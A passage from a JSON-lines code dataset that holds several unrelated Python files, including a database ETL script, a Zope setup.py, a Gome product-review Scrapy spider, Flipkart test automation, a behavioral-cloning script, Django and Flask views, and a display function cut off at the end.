pi.person_name, dpd.resume FROM {tb} dpd \" \\\n \"JOIN (SELECT person_id, MAX(version) latest_ver FROM {tb} GROUP BY person_id) t \" \\\n \"ON dpd.person_id = t.person_id AND dpd.version = t.latest_ver \" \\\n \"JOIN base.id_match im \" \\\n \"ON im.source_id = dpd.person_id AND im.source = dpd.source_id \" \\\n \"LEFT JOIN base.person_info pi ON im.matched_id = pi.person_id \" \\\n \"WHERE im.source = {sid} AND im.is_used = 1 AND im.id_type = 3\"\n\n @classmethod\n def stream_000001(cls):\n pass\n\n @classmethod\n def stream_020001(cls):\n source_id = \"020001\"\n tb = \"crawl_private.d_person_description\"\n tmp_sql = cls.SQL_02.format(tb=tb, sid=source_id)\n inp = MysqlInput(ENGINE, tmp_sql)\n\n vm = transform.ValueMap({\n \"person_name\": lambda x: re.sub(\"\\s\", \"\", x),\n \"resume\": lambda x: re.sub(\"\\s\", \"\", x),\n })\n\n sk = transform.MapSelectKeys({\n \"person_id\": PersonDescription.person_id.name,\n \"person_name\": PersonDescription.person_name.name,\n \"resume\": PersonDescription.resume.name,\n })\n\n dn = transform.Dropna(subset=[PersonDescription.resume.name])\n\n s = base.Stream(inp, [vm, sk, dn])\n return s\n\n @classmethod\n def stream_020002(cls):\n source_id = \"020002\"\n tb = \"crawl_private.d_person_description\"\n tmp_sql = cls.SQL_02.format(tb=tb, sid=source_id)\n inp = MysqlInput(ENGINE, tmp_sql)\n\n vm = transform.ValueMap({\n \"person_name\": lambda x: re.sub(\"\\s\", \"\", x),\n \"resume\": lambda x: re.sub(\"\\s\", \"\", x),\n })\n\n sk = transform.MapSelectKeys({\n \"person_id\": PersonDescription.person_id.name,\n \"person_name\": PersonDescription.person_name.name,\n \"resume\": PersonDescription.resume.name,\n })\n\n dn = transform.Dropna(subset=[PersonDescription.resume.name])\n\n s = base.Stream(inp, [vm, sk, dn])\n return s\n\n @classmethod\n def conflu(cls):\n s21, s22 = cls.stream_020001(), cls.stream_020002()\n c = base.Confluence(s21, s22, on=[PersonDescription.person_id.name])\n return c\n\n\ndef main():\n c = Streams.conflu()\n io.to_sql(PersonDescription.__schema_table__, ENGINE, c.dataframe, \"ignore\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"SCRIPT/PRIVATE/etl/person_description/person_description.py","file_name":"person_description.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"77354338","text":"##############################################################################\n#\n# Copyright (c) 2004 Zope Corporation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\" Setup for five.customerize package \"\"\"\n\nfrom setuptools import setup\n\nversion = '1.0.1'\n\nsetup(name = 'five.customerize',\n version = version,\n description = 'TTW customization of template-based Zope views',\n long_description = (open('README.txt').read() + \"\\n\" +\n open('CHANGES.txt').read()),\n keywords = 'zope views templates customization ttw',\n author = 'Zope Foundation and Contributors',\n author_email = 'z3-five@codespeak.net',\n url = 'http://pypi.python.org/pypi/five.customerize',\n license = 'ZPL 2.1',\n packages = ['five', 'five.customerize'],\n package_dir = {'': 'src'},\n namespace_packages = ['five',],\n include_package_data = True,\n platforms = 'Any',\n zip_safe = False,\n install_requires=[\n 'setuptools',\n 'plone.portlets',\n 'zope.component',\n 'zope.componentvocabulary',\n 'zope.dottedname',\n 'zope.interface',\n 'zope.lifecycleevent',\n 'zope.pagetemplate',\n 'zope.publisher',\n 'zope.schema',\n 'zope.site',\n 'zope.testing',\n 'zope.traversing',\n 'zope.viewlet',\n 'zope.app.pagetemplate',\n 'transaction',\n 'Acquisition',\n 'Zope2',\n ],\n classifiers = [\n 'Development Status :: 5 - Production/Stable',\n 'Environment :: Web Environment',\n 'Framework :: Zope2',\n 'License :: OSI Approved :: Zope Public License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Topic :: Internet :: WWW/HTTP :: Site Management',\n ],\n)\n","sub_path":"five.customerize/tags/1.0.1/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"384304210","text":"import scrapy\nfrom scrapy import Selector\nimport requests\nfrom requests import Session,adapters\nimport re\nimport time\nfrom bs4 import BeautifulSoup\nfrom gm_dianfanbao.items import GmDianfanbaoItem\n\nclass DFB_spider(scrapy.Spider):\n name='gm_DFB'\n start_urls=['http://list.gome.com.cn/cat10000188.html?intcmp=sy-1000053151-2']\n def parse(self, response):\n #找出查询结果数量以及页码数量\n max_numbers=re.findall('共 (.*?) 个商品',response.text)[0]\n print(max_numbers)\n page_numbers=Selector(response).re(' totalPage :(.*?),')[0]\n print(page_numbers)\n for i in range(1,int(page_numbers)+1):\n page_url='http://list.gome.com.cn/cat10000188-00-0-48-1-0-0-0-1-0-0-0-0-0-0-0-0-0.html?&page=%d' % i\n yield scrapy.Request(url=page_url,callback=self.product_page,dont_filter=True)\n def product_page(self,response):\n #商品集合页查询商品名称,店铺名称,商品详情页url\n for each in response.xpath(\".//div[@class='item-tab-warp']\"):\n p_Name=each.xpath(\".//p[@class='item-name']/a/text()\").extract()[0]\n # print(p_Name)\n product_urlm=each.xpath(\".//p[@class='item-name']/a/@href\").extract()[0]\n # print(product_urlm)\n product_url='http:'+product_urlm\n item=GmDianfanbaoItem(p_Name=p_Name,product_url=product_url)\n # 检测product_url是否符合标准,是否多http:///\n http_list = re.findall(r'http:/+', product_url)\n if len(http_list) > 1:\n url_n = 'http:' + product_url.split('http:')[-1]\n # print(url_n)\n request = scrapy.Request(url=url_n, callback=self.detail, meta={'item': item}, dont_filter=True)\n yield request\n else:\n # print(product_url)\n request = scrapy.Request(url=product_url, callback=self.detail, meta={'item': item},dont_filter=True)\n yield request\n def detail(self,response):\n item=response.meta['item']\n product_url=item['product_url']\n # text=product_text\n '''检测到网页长度不足证明网页内容不全,重新获取'''\n if len(response.text)<65000:\n yield scrapy.Request(url=product_url,callback=self.detail,meta=response.meta,dont_filter=True)\n return None\n # 商品ID\n try:\n ProductID = Selector(response).re('prdId:\"(.*?)\"')[0]\n except:\n try:\n ProductID = re.findall('prdId:\"(.*?)\"', response.text)[0]\n except:\n try:\n ProductID = re.findall('prdId:\"(.*?)\"', response.text)[0]\n except:\n ProductID = response.url.split('/')[-1].split('-')[0]\n # 好评,差评等信息采集\n comment_url = 'http://ss.gome.com.cn/item/v1/prdevajsonp/appraiseNew/%s/1/all/0/10/flag/appraise' % ProductID\n mark_url = 'http://ss.gome.com.cn/item/v1/prdevajsonp/productEvaComm/%s/flag/appraise/totleMarks?callback=totleMarks' % ProductID\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'\n }\n request_retry=requests.adapters.HTTPAdapter(max_retries=3)\n with Session() as gome:\n #建立会话对象\n gome.mount('http://',request_retry)\n gome.mount('https://',request_retry)\n gome.headers=headers\n comment_text=gome.get(url=comment_url).text\n time.sleep(0.3)\n mark_text=gome.get(url=mark_url).text\n #店铺名称\n try:\n shop_name=response.xpath(\".//div[@class='zy-stores shops-name']/a[@class='name']/text()\").extract()[0]\n except:\n try:\n shop_name=response.xpath(\".//h2[@id='store_live800_wrap']/a[@class='name']/text()\").extract()[0]\n except:\n try:\n shop_name=response.xpath(\".//div[@class='zy-stores shops-name']/span[@class='identify']/text()\").extract()[0]\n except:\n shop_name=None\n #价格类代码重写\n try:\n Price = re.findall('price:\"(.*?)\"', response.text)\n gomeprice = re.findall('gomePrice:\"(.*?)\"', response.text)\n groupprice = re.findall('groupPrice:\"(.*?)\"', response.text)\n oldprice = re.findall('(.*?)', response.text)\n if Price:\n if Price[0]=='0':\n price=gomeprice[0]\n PreferentialPrice=gomeprice[0]\n else:\n if float(Price[0])')[0]\n except:\n try:\n brand=re.findall('品牌:(.*?)',response.text)[0]\n except:\n brand=None\n if brand:\n if re.findall(r'(.*?)', brand):\n re_com = re.compile('(.*?)')\n brand = brand[:0] + re.sub(re_com, '', brand)\n if brand:\n if re.findall(r'(.*?)', brand):\n re_cn = re.compile('\\(.*?\\)')\n brand = brand[:0] + re.sub(re_cn, '', brand)\n #品牌型号\n try:\n X_name=Selector(response).re('型号:(.*?)')[0]\n except:\n try:\n X_name=re.findall('型号:(.*?)',response.text)[0]\n except:\n try:\n X_name=Selector(response).re('型号(.*?)')[0]\n except:\n try:\n X_name=re.findall('型号(.*?)',response.text)[0]\n except:\n X_name=None\n if X_name:\n if brand:\n if brand in X_name:\n pass\n else:\n X_name = brand + X_name[:]\n # 颜色\n try:\n color = Selector(response).re('颜色(.*?)')[0]\n except:\n try:\n color = re.findall('颜色(.*?)', response.text)[0]\n except:\n color = None\n #功能,加热方式,控制方式,预约方式\n try:\n jiare=Selector(response).re('加热方式:(.*?)')[0]\n except:\n try:\n jiare=Selector(response).re('加热方式(.*?)')[0]\n except:\n try:\n jiare=re.findall('加热方式:(.*?)',response.text)[0]\n except:\n try:\n jiare=re.findall('加热方式(.*?)',response.text)[0]\n except:\n jiare=None\n try:\n kongzhi=Selector(response).re('控制方式:(.*?)')[0]\n except:\n try:\n kongzhi=Selector(response).re('控制方式(.*?)')[0]\n except:\n try:\n kongzhi=re.findall('控制方式:(.*?)',response.text)[0]\n except:\n try:\n kongzhi=re.findall('控制方式(.*?)',response.text)[0]\n except:\n kongzhi=None\n try:\n yuyue=Selector(response).re('预约方式:(.*?)')[0]\n except:\n try:\n yuyue=Selector(response).re('预约方式(.*?)')[0]\n except:\n try:\n yuyue=re.findall('预约方式:(.*?)',response.text)[0]\n except:\n try:\n yuyue=re.findall('预约方式(.*?)',response.text)[0]\n except:\n yuyue=None\n if jiare or kongzhi or yuyue:\n X_type=''\n if jiare:\n X_type=X_type[:]+jiare+' '\n if kongzhi:\n X_type=X_type[:]+kongzhi+' '\n if yuyue:\n X_type=X_type[:]+yuyue\n if len(X_type) < 1:\n X_type=None\n else:\n X_type=None\n #容量\n try:\n capacity=Selector(response).re('容量:(.*?)')[0]\n except:\n try:\n capacity=Selector(response).re('容量(.*?)')[0]\n except:\n try:\n capacity=re.findall('容量:(.*?)',response.text)[0]\n except:\n try:\n capacity=re.findall('容量(.*?)',response.text)[0]\n except:\n capacity=None\n #####核心参数,特别处理部分\n soup = BeautifulSoup(response.text, 'lxml')\n try:\n parameter = []\n div_item = soup.find_all('div', class_='param-item')\n # print(div_item)\n for each in div_item:\n li_list = each.find_all('li')\n for each in li_list:\n li_text = re.sub(r'\\n', '', each.text)\n parameter.append(li_text)\n if len(parameter) < 1:\n print(1 / 0)\n except:\n try:\n parameter = []\n div_item = soup.find('div', class_='guigecanshu_wrap')\n div_canshu = div_item.find_all('div', class_='guigecanshu')\n for each in div_canshu:\n parameter.append(each.text)\n if len(parameter) < 1:\n print(1 / 0)\n except: # 针对真划算页面的type参数分析\n try:\n parameter = []\n table = soup.find('table', attrs={'class': 'grd-specbox'})\n tr_list = table.find_all('tr')\n for each in tr_list:\n if each.find('td'):\n td = each.find_all('td')\n if td:\n td1 = re.sub(r'\\n', '', td[0].text)\n td2 = re.sub(r'\\n', '', td[1].text)\n parameter.append(td1 + ':' + td2)\n # print(td1 + ':' + td2)\n print(parameter)\n if len(parameter) < 1:\n print(1 / 0)\n except:\n parameter = None\n # 将核心参数转化为字符串形式\n try:\n if parameter == None:\n type = None\n else:\n type = '\"'\n for i in range(len(parameter)):\n type = type[:] + parameter[i]\n if i < len(parameter) - 1:\n type = type[:] + ' '\n if i == len(parameter) - 1:\n type = type[:] + '\"'\n except:\n type = None\n if type:\n if brand==None:\n try:\n brand=re.findall('品牌:(.*?) ',type)[0]\n except:\n brand=None\n if brand:\n if re.findall(r'(.*?)', brand):\n re_com = re.compile('(.*?)')\n brand = brand[:0] + re.sub(re_com, '', brand)\n if brand:\n if re.findall(r'(.*?)', brand):\n re_cn = re.compile('\\(.*?\\)')\n brand = brand[:0] + re.sub(re_cn, '', brand)\n if X_name==None:\n try:\n X_name=re.findall('型号:(.*?) ',type)[0]\n except:\n X_name=None\n if X_name:\n if brand:\n if brand in X_name:\n pass\n else:\n X_name = brand + X_name[:]\n if color==None:\n try:\n color=re.findall('颜色:(.*?) ',type)[0]\n except:\n color=None\n '''\n 以下为功能部分获取\n '''\n if X_type==None:\n try:\n jiare=re.findall('加热方式:(.*?) ',type)[0]\n except:\n jiare=None\n try:\n kongzhi=re.findall('控制方式:(.*?) ',type)[0]\n except:\n kongzhi=None\n try:\n yuyue=re.findall('预约方式:(.*?) ',type)[0]\n except:\n yuyue=None\n if jiare or kongzhi or yuyue:\n X_type = ''\n if jiare:\n X_type = X_type[:] + jiare + ' '\n if kongzhi:\n X_type = X_type[:] + kongzhi + ' '\n if yuyue:\n X_type = X_type[:] + yuyue\n if len(X_type) < 1:\n X_type = None\n else:\n X_type = None\n '''\n 容量\n '''\n if capacity==None:\n try:\n capacity=re.findall('容量:(.*?) ',type)[0]\n except:\n capacity=None\n # 访问comment_url\n try:\n # 好评\n GoodCount = re.findall('\"good\":(.*?),', comment_text)[0]\n except:\n GoodCount = None\n # 中评\n try:\n GeneralCount = re.findall('\"mid\":(.*?),', comment_text)[0]\n except:\n GeneralCount = None\n # 差评\n try:\n PoorCount = re.findall('\"bad\":(.*?),', comment_text)[0]\n except:\n PoorCount = None\n # 总评\n try:\n CommentCount = re.findall('\"totalCount\":(.*?),', comment_text)[0]\n except:\n CommentCount = None\n # 访问评论关键字\n # 好评度\n try:\n GoodRateShow = re.findall(r'\"goodCommentPercent\":(\\d+)', mark_text)[0]\n except:\n try:\n GoodRateShow = re.findall(r'\"good\":(\\d+),', mark_text)[0]\n except:\n GoodRateShow = None\n try:\n keyword = '\"'\n word_list = re.findall('\"recocontent\":\"(.*?)\"', mark_text)\n for each in word_list:\n if '?' in each:\n word_list.remove(each)\n if word_list:\n for every in word_list:\n keyword = keyword[:] + every\n if every != word_list[-1]:\n keyword = keyword[:] + ' '\n if every == word_list[-1]:\n keyword = keyword[:] + '\"'\n if len(keyword) <= 1:\n print(1 / 0)\n except:\n keyword = None\n source='国美'\n if type==None and brand==None and X_name==None:\n print('一条数据被过滤!')\n yield None\n else:\n item['ProductID']=ProductID\n item['X_name'] = X_name\n item['type'] = type\n item['X_type'] = X_type\n item['price'] = price\n item['PreferentialPrice'] = PreferentialPrice\n item['brand'] = brand\n item['keyword'] = keyword\n item['PoorCount'] = PoorCount\n item['CommentCount'] = CommentCount\n item['GoodCount'] = GoodCount\n item['GeneralCount'] = GeneralCount\n item['GoodRateShow'] = GoodRateShow\n item['shop_name'] = shop_name\n item['capacity'] = capacity\n item['color'] = color\n item['source'] = source\n yield item","sub_path":"gm_dianfanbao/gm_dianfanbao/spiders/gm_DFBspi.py","file_name":"gm_DFBspi.py","file_ext":"py","file_size_in_byte":16678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"466968579","text":"\"\"\"Module for test scripts of flipkart\"\"\"\nfrom time import sleep\nimport pytest\nfrom Pages.automate_flipkart import Flipkart\nfrom Library.config import Config\nfrom Library.base_fixtures import DriverInit\nfrom Library.file_library import ReadJson\n\nReadTestData = ReadJson()\ntest_data = ReadTestData.read_test_data(Config.TEST_JSON)\n\n\n# @pytest.mark.parametrize(\"series, game\",\n# [\n# (\"Playstation 5 Games\", \"selectSpiderMan\")\n# ]\n# )\n@pytest.mark.parametrize(\"series, game\",\n test_data\n )\nclass TestFlipkart(DriverInit):\n \"\"\"class has test_flipkart method for testing...\"\"\"\n def test_flipkart(self, series, game):\n \"\"\"we are running all the tests from automate_flipkart\"\"\"\n flip = Flipkart(self.driver, series, game) #pylint: disable=no-member\n flip.handle_popup()\n flip.search_item()\n flip.click_on_magnify()\n flip.click_on_fassured()\n flip.select_a_game()\n flip.switch_tab()\n flip.add_to_cart()\n flip.click_on_place_order()\n flip.close_current_tab()\n","sub_path":"Test/test_flipkart.py","file_name":"test_flipkart.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"571520137","text":"from sys import stdin\n\nn = int(stdin.readline())\ndata = list(map(int,stdin.readline().split()))\n\ndp = [1 for i in range(n)]\narray = [[x] for x in data]\n\n\nfor i in range(n):\n for j in range(i):\n if data[i] > data[j]:\n if dp[i] < dp[j]+1:\n array[i] = array[j] + [data[i]]\n dp[i] = dp[j] + 1\n\nlength = 0\nidx = 0\nfor i in range(n):\n if dp[i] > length:\n length = dp[i]\n idx = i\nprint(length)\nprint(*array[idx])\n","sub_path":"sujang/boj/python/14002.py","file_name":"14002.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"36816741","text":"import glob\nimport gym\nfrom gym import wrappers\nimport itertools\nimport logging\nimport load_policy\nimport numpy as np\nimport tf_util\nfrom tqdm import tqdm\nimport tensorflow as tf\n\n\nslim = tf.contrib.slim\nBATCH_SIZE = 32\n\n\n\nclass Setup(object):\n \"\"\"Class responsible for startup and teardown ops.\"\"\"\n def startup(self):\n \"\"\"Perform all setup ops.\"\"\"\n\n # logging setup\n logging.basicConfig(level=logging.DEBUG,\n format=\"[%(asctime)s]%(levelname)s: %(message)s\")\n\n # getting environment and model info\n env_models = {}\n for model in glob.glob(\"experts/*\"):\n env = (model.strip().split(\"/\")[1]).split(\".\")[0]\n env_models[env] = model\n return env_models\n\n def teardown(self):\n \"\"\"Perform all tear down ops.\"\"\"\n pass\n\n\nclass Policy():\n # policy hyperparameters\n LEARNING_RATE = 0.001\n BETA = 0.9\n\n def __init__(self, env, obsv_samples=None):\n if(obsv_samples is None):\n obsv_samples = np.array(\n [env.observation_space.sample() for _ in range(1000)])\n self.obs_mean = obsv_samples.mean(axis=0)\n self.obs_std = obsv_samples.std(axis=0)\n\n self.state = tf.placeholder(tf.float32,[None]+list(env.observation_space.shape))\n self.target_action= tf.placeholder(tf.float32,[None]+list(env.action_space.shape))\n\n normalized = (self.state - self.obs_mean) / self.obs_std\n net = slim.fully_connected(normalized, 50, scope='fc1', activation_fn=tf.nn.relu)\n net = slim.fully_connected(net, 50, scope='fc2', activation_fn=tf.nn.relu)\n self.policy = slim.fully_connected(net, env.action_space.shape[0], activation_fn=None, scope='policy')\n\n self.loss = tf.reduce_mean(tf.reduce_sum((self.policy-self.target_action)**2,axis=1))\n optimizer = tf.train.AdamOptimizer(self.LEARNING_RATE,beta1=self.BETA)\n self.train_op = optimizer.minimize(self.loss)\n\n def predict(self, s):\n sess = tf.get_default_session()\n return sess.run(self.policy,\n feed_dict={self.state:s})\n\n def update(self, s, a):\n sess = tf.get_default_session()\n loss,_ = sess.run([self.loss,self.train_op],\n feed_dict={self.state: s,\n self.target_action: a})\n return loss\n\n def test_run(self, env, max_steps):\n obsvs = []\n actions = []\n reward = 0.\n\n obsv = env.reset()\n for steps in itertools.count():\n obsvs.append(obsv)\n logging.debug(f\"obsvs: {obsvs}\")\n actions.append(self.predict(np.expand_dims(obsv,axis=0))[0])\n logging.debug(f\"actions: {actions}\")\n obsv, r, done, _ = env.step(actions[-1])\n reward += r\n if steps >= max_steps or done:\n break\n\n experience = {'observations': np.stack(obsvs,axis=0),\n 'actions': np.squeeze(np.stack(actions,axis=0)),\n 'reward':reward}\n return experience\n\n\n\ndef gather_expert_experience(num_rollouts, env, policy_fn, max_steps):\n with tf.Session():\n tf_util.initialize()\n\n returns = []\n observations = []\n actions = []\n for i in tqdm(range(num_rollouts)):\n obs = env.reset()\n done = False\n totalr = 0.\n steps = 0\n while not done:\n action = policy_fn(obs[None,:])\n observations.append(obs)\n actions.append(action)\n obs, r, done, _ = env.step(action)\n totalr += r\n steps += 1\n if steps >= max_steps:\n break\n returns.append(totalr)\n\n expert_data = {'observations': np.stack(observations, axis=0),\n 'actions': np.squeeze(np.stack(actions, axis=0)),\n 'returns':np.array(returns)}\n return expert_data\n\n\ndef behavioral_cloning(env_name, expert_policy, num_rollouts, max_timesteps, num_epochs, save=None):\n tf.reset_default_graph()\n env = gym.make(env_name)\n max_steps = max_timesteps or env.spec.timestep_limit\n logging.info(f\"\"\"\n loading and building expert policy for:\n - environment: {env_name}\n - max steps: {max_steps}\"\"\")\n expert_policy_fn = load_policy.load_policy(expert_policy)\n logging.info(\"gathering experience...\")\n data = gather_expert_experience(num_rollouts, env, expert_policy_fn, max_steps)\n logging.info(f\"\"\"\n Expert information:\n - reward mean: {np.mean(data['returns'])}\n - reward std: {np.std(data['returns'])}\n \"\"\")\n logging.info('building clone policy...')\n policy = Policy(env,data['observations'])\n\n with tf.Session():\n tf_util.initialize()\n\n for epoch in tqdm(range(num_epochs)):\n num_samples = data['observations'].shape[0]\n perm = np.random.permutation(num_samples)\n\n obsv_samples = data['observations'][perm]\n action_samples = data['actions'][perm]\n\n loss = 0.\n for k in range(0,obsv_samples.shape[0],BATCH_SIZE):\n loss += policy.update(obsv_samples[k:k+BATCH_SIZE],\n action_samples[k:k+BATCH_SIZE])\n logging.debug(f\"loss: {loss}\")\n new_exp = policy.test_run( env, max_steps )\n tqdm.write(\"Epoch %3d Loss %f Reward %f\" %(epoch,loss/num_samples,new_exp['reward']))\n\n if(save is not None):\n env = wrappers.Monitor(env,save,force=True)\n\n results = []\n # for _ in tqdm(range(num_rollouts)):\n # results.append(policy.test_run( env, max_steps )['reward'])\n # logging.info(\"Reward mean & std of Cloned policy: %f(%f)\"%(np.mean(results),np.std(results)))\n\n\ndef dagger(env_name, expert_policy):\n logging.info(f\"env_name: {env_name} -- expert_policy: {expert_policy}\")\n pass\n\nif __name__ == '__main__':\n setup = Setup()\n env_models = setup.startup()\n\n i = 0\n # behavioral cloning runs\n for env, model in env_models.items():\n if i > 0:\n ret = behavioral_cloning(env_name=env, expert_policy=model, num_rollouts=2, max_timesteps=None, num_epochs=10)\n # break\n i += 1\n # # dagger runs\n # for env, model in env_models.items():\n # ret = dagger(env_name=env, expert_policy=model)\n\n setup.teardown()","sub_path":"hw1/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":6489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"178225009","text":"from django.contrib.auth.hashers import make_password\n\nfrom rest_framework.views import APIView\nfrom rest_framework.viewsets import ModelViewSet\nfrom rest_framework.response import Response\nfrom rest_framework import permissions\nfrom rest_framework import status\nfrom rest_framework.validators import ValidationError\n\nfrom .permissions import BaseViewSetPermissionMixin, IsSuperAdminOrStaff\n\nclass BaseAPIViewSet(BaseViewSetPermissionMixin, ModelViewSet):\n model_class = None\n serializer_class = None\n instance_name = None\n\n def list(self, request):\n queryset = self.model_class.objects.all()\n serializer = self.serializer_class(queryset, many=True)\n return Response(\n data={\n \"status\": True,\n \"message\":\n f\"{self.instance_name}s list retrieved sucessfully\",\n \"data\": serializer.data\n })\n\n def create(self, request):\n\n serializer = self.serializer_class(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(data={\n \"status\": True,\n \"message\": f\"{self.instance_name} is created sucessfully\",\n \"data\": serializer.data\n },\n status=status.HTTP_201_CREATED)\n\n return Response(data={\n \"status\": False,\n \"message\": serializer.errors,\n \"data\": {}\n },\n status=status.HTTP_400_BAD_REQUEST)\n \n def get_object(self, pk):\n try:\n return self.model_class.objects.get(pk=pk)\n except self.model_class.DoesNotExist:\n raise ValidationError({\n 'status': False,\n 'message': f\"failed to find {self.instance_name}\",\n \"data\": {}\n })\n\n def retrieve(self, request, pk=None):\n obj = self.get_object(pk)\n serializer = self.serializer_class(obj)\n return Response(\n data={\n \"status\": True,\n \"message\": f\"{self.instance_name} is retrieved sucessfully\",\n \"data\": serializer.data\n })\n\n def update(self, request, pk=None):\n if request.data.get(\"password\"):\n request.data[\"password\"] = make_password(request.data.get(\"password\"))\n if not request.data.get(\"user\"):\n request.data[\"user\"] = request.user.uid\n obj = self.get_object(pk)\n serializer = self.serializer_class(obj, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(\n data={\n \"status\": True,\n \"message\": f\"{self.instance_name} is updated sucessfully\",\n \"data\": serializer.data\n })\n return Response(data={\n \"status\": False,\n \"message\": f\"{self.instance_name} update failed\",\n \"data\": serializer.errors\n },\n status=status.HTTP_400_BAD_REQUEST)\n\n def partial_update(self, request, pk=None):\n obj = self.get_object(pk)\n serializer = self.serializer_class(obj,\n data=request.data,\n partial=True)\n if serializer.is_valid():\n serializer.save()\n return Response(\n data={\n \"status\": True,\n \"message\": f\"{self.instance_name} is updated sucessfully\",\n \"data\": serializer.data\n })\n return Response(data={\n \"status\": False,\n \"message\": f\"{self.instance_name} update failed\",\n \"data\": serializer.errors\n },\n status=status.HTTP_400_BAD_REQUEST)\n\n def destroy(self, request, pk=None):\n obj = self.get_object(pk)\n obj.delete()\n return Response(data={\n \"status\": True,\n \"message\": f\"{self.instance_name} is deleted sucessfully\",\n \"data\": {}\n },\n status=status.HTTP_200_OK)","sub_path":"base/viewsets.py","file_name":"viewsets.py","file_ext":"py","file_size_in_byte":4146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"325819459","text":"from flask import Flask, render_template, request, flash, url_for, redirect, session\nfrom API.LOL import Lol\n\n\napp = Flask(__name__)\napp.secret_key = \"SecretKey\"\n\n\n@app.route(\"/\", methods=[\"POST\", \"GET\"])\n@app.route(\"/fseason\", methods=[\"POST\", \"GET\"])\ndef fseason():\n if request.method == \"POST\":\n region = request.form.get(\"region\")\n name = request.form.get(\"player_name\")\n\n return redirect(url_for(\"home\", region=region, name=name))\n\n else:\n return render_template(\"fseason.html\")\n\n\n@app.route(\"/home//\")\ndef home(region, name):\n info_player = Lol(region=region, name=name)\n result = info_player.actual_elo()\n\n if result is False:\n flash(\"Usuário não encontrado\")\n return redirect(url_for(\"fseason\"))\n else:\n for key, value in result.items():\n session[key] = value\n\n return render_template(\"home.html\")\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"533671813","text":"from django.shortcuts import get_object_or_404, render\nfrom django.http import HttpResponseRedirect, HttpResponse, JsonResponse\nfrom django.urls import reverse\nfrom .models import Question, Choice, SelectedAnswer\n\n\ndef setquestions(request):\n q = Question.objects.filter()\n selected_choice = Choice.objects.filter()\n\n marks_scored = sum([m.mark for m in q])\n context = {\n 'question': q,\n 'marks_scored': marks_scored,\n 'selected_choice': selected_choice,\n }\n return render(request, 'setquestions/set_questions.html', context)\n\n\ndef save_choice(request, question_pk, choice_text):\n p = get_object_or_404(Question, pk=question_pk)\n selected_choice = p.choice_set.get(choice=choice_text)\n unselected_choice = p.choice_set.exclude(choice=selected_choice.choice)\n \n selected_ans = SelectedAnswer.objects.filter(choice__question=p)\n if not selected_ans.exists():\n sa = SelectedAnswer.objects.create(is_checked=\"checked\", choice=selected_choice)\n else:\n get_selected_ans = SelectedAnswer.objects.get(choice__question=p)\n get_selected_ans.delete()\n sa = SelectedAnswer.objects.create(is_checked=\"checked\", choice=selected_choice)\n\n cor_ans = p.correct_ans\n sel_ans = selected_choice.choice\n if cor_ans == sel_ans:\n p.mark = 1.0\n p.save()\n else:\n p.mark = 0.0\n p.save()\n\n selected_choice.is_checked = 'checked'\n selected_choice.save()\n\n for unsel in unselected_choice:\n unsel.is_checked = 'unchecked'\n unsel.save()\n return HttpResponseRedirect(reverse('set-questions'))","sub_path":"setquestions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"529154526","text":"def displayResults(hit_dictionary, answers, question, displayHTML=False, displayTable=True):\n \n confidence = list(answers.keys())\n confidence.sort(reverse=True)\n \n confidence = list(answers.keys())\n confidence.sort(reverse=True)\n \n for i,c in enumerate(confidence):\n if i < 3:\n if 'idx' not in answers[c]:\n continue\n idx = answers[c]['idx']\n full_abs = answers[c]['abstract_bert']\n bert_ans = answers[c]['answer']\n split_abs = full_abs.split(bert_ans)\n sentance_beginning = split_abs[0][split_abs[0].rfind('.')+1:]\n if len(split_abs) == 1:\n sentance_end_pos = len(full_abs)\n sentance_end =''\n else:\n sentance_end_pos = split_abs[1].find('. ')+1\n if sentance_end_pos == 0:\n sentance_end = split_abs[1]\n else:\n sentance_end = split_abs[1][:sentance_end_pos]\n \n sentance_full = sentance_beginning + bert_ans+ sentance_end\n if c> 0.5:\n color = 'green'\n elif c > 0.25:\n color = '#CCCC00'\n else:\n color = 'red'\n \n pandasData = []\n for c in confidence:\n if c>0 and c <= 1:\n if 'idx' not in answers[c]:\n continue\n rowData = []\n idx = answers[c]['idx']\n title = hit_dictionary[idx]['title']\n authors = hit_dictionary[idx]['authors'] + ' et al.'\n doi = 'source'\n \n rowData += [idx]\n\n full_abs = answers[c]['abstract_bert']\n bert_ans = answers[c]['answer']\n \n split_abs = full_abs.split(bert_ans)\n sentance_beginning = split_abs[0][split_abs[0].rfind('.')+1:]\n sentance_end_pos = 